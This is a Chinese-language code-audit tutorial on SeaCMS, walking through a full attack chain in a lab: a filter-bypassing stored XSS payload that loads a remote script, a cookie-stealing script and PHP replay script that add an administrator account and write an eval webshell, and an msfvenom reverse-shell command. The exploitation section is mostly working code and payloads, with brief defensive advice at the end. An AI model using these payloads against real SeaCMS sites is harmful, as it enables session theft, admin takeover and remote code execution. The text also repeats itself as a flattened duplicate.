seacms代码审计:从存储型XSS到getshell
字数 1601 2025-08-26 22:11:34

SeaCMS代码审计:从存储型XSS到Getshell教学文档

1. 漏洞概述

本教学文档详细分析SeaCMS(海洋CMS)中存在的存储型XSS漏洞及其利用链,最终实现Getshell的过程。SeaCMS是一款简单的PHP内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架。

2. 环境准备

2.1 测试环境

  • 靶机: WindowsXP 192.168.113.128
  • 攻击机: Kali 192.168.113.157
  • CMS版本: SeaCMS
  • 后台路径: /zhwx5t/
  • 后台账号: admin/admin(系统管理员)

3. 漏洞分析

3.1 存储型XSS漏洞位置

漏洞发生在member.php文件的用户资料更新功能处:

if($action=='chgpwdsubmit'){
    if(trim($newpwd)<>trim($newpwd2)) {
        ShowMsg('两次输入密码不一致','-1');
        exit();
    }
    $email = str_ireplace('base64', "", $email);
    $email = str_ireplace('vbscript:', "", $email);
    $email = str_ireplace('javascript:', "", $email);
    $email = str_ireplace('data:', "", $email);
    
    if(!empty($newpwd)||!empty($email)||!empty($nickname)) {
        if(empty($newpwd)){$pwd = $oldpwd;}
        else{$pwd = substr(md5($newpwd),5,20);};
        $dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',email = '$email',nickname = '$nickname' where id= '$uid'");
        ShowMsg('资料修改成功','-1');
        exit();
    }
}

3.2 WAF绕过分析

系统使用了360安全检测模块(webscan.php),其过滤规则存在缺陷:

// post拦截规则
$postfilter = "<.*=(&#\\d+data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\\s*sleep\\s*\\b(group_)?concat[\\s\\bcase[\\s\\/\\*]*?when[\\s\\load_file\\s*\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*\\d]\\d]\\a-zA-Z]\\a-zA-Z]\\s+?[\\w]+?\\s+?\\bin\\b\\s*?\\(|\\blike\\b\\s+\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\\s*\\s*|@{1,2}.+?\\s*|\\s+\\s*)|UPDATE\\s*\\s*|@{1,2}.+?\\s*|\\s+\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)\\s+?.+?\\s+FROM(\\s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

关键发现:

  1. 正则表达式没有单独过滤尖括号(<, >)
  2. 对XSS的过滤主要针对事件处理程序和script标签
  3. 可以通过字符串替换绕过部分过滤

4. 漏洞利用

4.1 构造XSS Payload

利用str_ireplace函数的特性,构造以下Payload:

POST /member.php?action=chgpwdsubmit
oldpwd=test&newpwd=test&newpwd2=test&email=test%40test.com<scbase64ript src=https://url.cn/585l00F></scrbase64ipt>&nickname=&gaimi=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9

Payload说明:

  1. 使用scbase64riptscrbase64ipt绕过base64关键词过滤
  2. 最终会被替换为<script src=https://url.cn/585l00F></script>
  3. src指向攻击者控制的JavaScript文件

4.2 利用XSS获取管理员Cookie

创建test.js文件:

var img = new Image();
img.src= "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;

创建test.php文件处理接收到的Cookie:

<?php
function Requests($url, $data, $cookie = '', $type = 1){
    $ch = curl_init();
    $params[CURLOPT_URL] = $url;
    $params[CURLOPT_HEADER] = FALSE;
    $params[CURLOPT_SSL_VERIFYPEER] = false;
    $params[CURLOPT_SSL_VERIFYHOST] = false;
    $params[CURLOPT_RETURNTRANSFER] = true;
    if ($type === 1) {
        $params[CURLOPT_POST] = true;
        $params[CURLOPT_POSTFIELDS] = $data;
    }
    $params[CURLOPT_COOKIE] = $cookie;
    curl_setopt_array($ch, $params);
    $output = curl_exec($ch);
    file_put_contents('log.txt', $output, FILE_APPEND);
    curl_close($ch);
}

$C = $_GET['x'];
$P = $_GET['p'];
$P = substr($P, 0, strlen($P)-21);
file_put_contents('c.txt', $C);
file_put_contents('p.txt', $P);

$url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';
$url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';
$data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';
$data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';

Requests($url_1, $data_1, $C);
Requests($url_2, $data_2, $C);
?>

4.3 利用后台漏洞写入Webshell

分析admin_ip.php文件中的漏洞:

if($action=="set"){
    $v= $_POST['v'];
    $ip = $_POST['ip'];
    $open=fopen("../data/admin/ip.php","w" );
    $str='<?php ';
    $str.='$v = "';
    $str.="$v";
    $str.='"; ';
    $str.='$ip = "';
    $str.="$ip";
    $str.='"; ';
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;
}

漏洞利用:

  1. 直接写入PHP代码,无任何过滤
  2. 构造POST数据:v=0&ip=+";@eval($_POST[qwer]);"
  3. 最终写入文件内容为:<?php $v = "0"; $ip = "";@eval($_POST[qwer]);"";

4.4 Getshell

  1. 使用蚁剑等工具连接写入的Webshell
  2. 生成反弹shell的exe文件:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.169 LPORT=5555 -f exe > exp.exe
    
  3. 上传并执行exp.exe获取meterpreter会话

5. 其他漏洞发现

5.1 注册处存储型XSS

漏洞位置:用户注册时的用户名字段

过滤函数分析:

$username = RemoveXSS(stripslashes($username));
$username = addslashes(cn_substr($username,200));

RemoveXSS函数特点:

  1. 在关键字第二个字符后添加<x>防止XSS
  2. 仅过滤了scriptjavascript等有限关键字
  3. 大部分HTML标签仍可利用

限制条件:

  1. 数据库字段长度限制为20字符
  2. 难以构造有效的XSS Payload

5.2 可能的绕过思路

  1. 拆分跨站法

    <script>z='document.write'</script>
    <script>z=Z+'write(" '<script>
    <script>z=z+'<script>'</script>
    <script>z=z+' src=ht'</script>
    <script>z=z+'tp://ww'</script>
    <script>z=z+'w.shell'</script>
    <script>z=z+'.net/1.'</script>
    <script>z=z+'js></sc'</script>
    <script>z=z+'ript'</script>
    <script>eval(z)</script>
    
  2. 利用未过滤的事件处理程序

    • onResume, onReverse, onRowDelete, onRowInserted
    • onSeek, onSynchRestored, onTimeError
    • onTrackChange, onURLFlip, onRepeat

6. 防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用HTMLPurifier等专业库处理HTML输入
  3. 实现CSRF防护机制
  4. 限制管理员后台的访问IP
  5. 对文件写入操作进行严格的内容检查
  6. 使用Content Security Policy (CSP)限制脚本执行
  7. 对Cookie设置HttpOnly和Secure标志

7. 总结

本案例展示了如何从一个存储型XSS漏洞出发,通过获取管理员Cookie,利用后台文件写入漏洞最终实现Getshell的完整攻击链。前端漏洞虽然看似危害较小,但结合其他漏洞可能造成严重后果。安全开发应遵循"纵深防御"原则,在每一层都实施适当的安全措施。

SeaCMS代码审计:从存储型XSS到Getshell教学文档 1. 漏洞概述 本教学文档详细分析SeaCMS(海洋CMS)中存在的存储型XSS漏洞及其利用链,最终实现Getshell的过程。SeaCMS是一款简单的PHP内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架。 2. 环境准备 2.1 测试环境 靶机: WindowsXP 192.168.113.128 攻击机: Kali 192.168.113.157 CMS版本: SeaCMS 后台路径: /zhwx5t/ 后台账号: admin/admin(系统管理员) 3. 漏洞分析 3.1 存储型XSS漏洞位置 漏洞发生在 member.php 文件的用户资料更新功能处: 3.2 WAF绕过分析 系统使用了360安全检测模块(webscan.php),其过滤规则存在缺陷: 关键发现: 正则表达式没有单独过滤尖括号( < , > ) 对XSS的过滤主要针对事件处理程序和 script 标签 可以通过字符串替换绕过部分过滤 4. 漏洞利用 4.1 构造XSS Payload 利用 str_ireplace 函数的特性,构造以下Payload: Payload说明: 使用 scbase64ript 和 scrbase64ipt 绕过 base64 关键词过滤 最终会被替换为 <script src=https://url.cn/585l00F></script> src 指向攻击者控制的JavaScript文件 4.2 利用XSS获取管理员Cookie 创建 test.js 文件: 创建 test.php 文件处理接收到的Cookie: 4.3 利用后台漏洞写入Webshell 分析 admin_ip.php 文件中的漏洞: 漏洞利用: 直接写入PHP代码,无任何过滤 构造POST数据: v=0&ip=+";@eval($_POST[qwer]);" 最终写入文件内容为: <?php $v = "0"; $ip = "";@eval($_POST[qwer]);""; 4.4 Getshell 使用蚁剑等工具连接写入的Webshell 生成反弹shell的exe文件: 上传并执行exp.exe获取meterpreter会话 5. 其他漏洞发现 5.1 注册处存储型XSS 漏洞位置:用户注册时的用户名字段 过滤函数分析: RemoveXSS 函数特点: 在关键字第二个字符后添加 <x> 防止XSS 仅过滤了 script 、 javascript 等有限关键字 大部分HTML标签仍可利用 限制条件: 数据库字段长度限制为20字符 难以构造有效的XSS Payload 5.2 可能的绕过思路 拆分跨站法 : 利用未过滤的事件处理程序 : onResume , onReverse , onRowDelete , onRowInserted onSeek , onSynchRestored , onTimeError onTrackChange , onURLFlip , onRepeat 等 6. 防御建议 对所有用户输入进行严格的过滤和转义 使用HTMLPurifier等专业库处理HTML输入 实现CSRF防护机制 限制管理员后台的访问IP 对文件写入操作进行严格的内容检查 使用Content Security Policy (CSP)限制脚本执行 对Cookie设置HttpOnly和Secure标志 7. 总结 本案例展示了如何从一个存储型XSS漏洞出发,通过获取管理员Cookie,利用后台文件写入漏洞最终实现Getshell的完整攻击链。前端漏洞虽然看似危害较小,但结合其他漏洞可能造成严重后果。安全开发应遵循"纵深防御"原则,在每一层都实施适当的安全措施。